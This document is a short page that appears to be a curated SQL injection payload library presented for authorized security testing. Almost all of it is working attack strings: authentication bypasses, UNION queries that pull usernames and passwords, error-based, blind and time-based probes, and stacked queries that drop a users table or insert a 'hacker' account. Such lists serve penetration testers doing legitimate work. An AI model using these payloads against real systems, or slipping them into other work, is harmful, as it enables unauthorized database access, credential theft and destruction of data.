SQL Injection Payload Library
Curated SQLi payloads for testing.
For authorized security testing only. Use responsibly in test environments with explicit permission.
Auth bypass
' OR '1'='1Auth bypass
' OR '1'='1'--Auth bypass
' OR 1=1--Auth bypass
admin'--Auth bypass
') OR ('1'='1Union
' UNION SELECT NULL--Union
' UNION SELECT NULL,NULL--Union
' UNION SELECT username,password FROM users--Union
1 UNION SELECT 1,2,3Error-based
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--Error-based
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--Boolean-blind
' AND 1=1--Boolean-blind
' AND 1=2--Boolean-blind
1 AND (SELECT COUNT(*) FROM users) > 0Time-based
'; WAITFOR DELAY '0:0:5'--Time-based
' AND SLEEP(5)--Time-based
' OR 1=1; SLEEP(5)--Comment bypass
/*comment*/ OR 1=1Comment bypass
admin'/*Stacked queries
'; DROP TABLE users;--Stacked queries
'; INSERT INTO users VALUES('hacker','password');--